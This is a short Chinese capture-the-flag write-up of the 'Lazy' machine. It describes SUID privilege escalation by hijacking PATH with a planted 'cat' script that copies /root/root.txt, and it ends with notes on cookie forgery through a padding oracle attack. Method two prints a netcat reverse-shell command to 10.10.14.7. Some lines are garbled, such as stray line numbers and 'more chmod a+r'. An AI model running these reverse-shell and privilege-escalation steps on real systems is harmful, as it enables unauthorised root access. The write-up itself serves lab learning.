Lazy(密码学相关)

uname -a
Linux LazyClown 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux

i686说明是32位的系统版本

1
2
3
4
5
6
7

![](6.PNG)
成功反弹shell

## 提权
新建cat文件,内容是shell脚本。当suid程序执行cat /etc/shadow,加入环境变量后,会先执行以下脚本。

#!/bin/sh
more /root/root.txt > /home/mitsos/root.txt

1
2
3
4
5

添加环境变量`export PATH=.:$PATH`;`chmod +x cat`,给/home/mitsos/cat添加执行权限。

运行/backup,发现root.txt已经复制到该目录。但是查看一下,发现还是root权限可读。

#!/bin/bash
more chmod a+r /home/mitsos/root.txt

1
2
3
4
5
6
7

修改cat,然后再次运行backup即可获得root.txt的内容
![](7.PNG)

#### 方法二:
cat 内容为

#!/bin/bash
/home/mitsos/netcat -e /bin/bash 10.10.14.7 1233


![](8.PNG)

即可获得一个root shell

## 总结

学习到了一种新的suid提权方式,虽然有suid权限的elf程序不`nmap|vim|find|bash|more|less|nano|cp`这些程序其中的任何一种,但是通过添加环境变量,可以顺带执行shell脚本。

这个突破防线的方式,通过伪造cookies,是由于密码算法使用不当,导致攻击者可以猜测出admin的cookies,从而登陆web。

Padding Oracle Attack,利用条件很苛刻。

也许是我对密码学的东西知之甚少。不知道在实际攻击过程中,这种方式是否常见。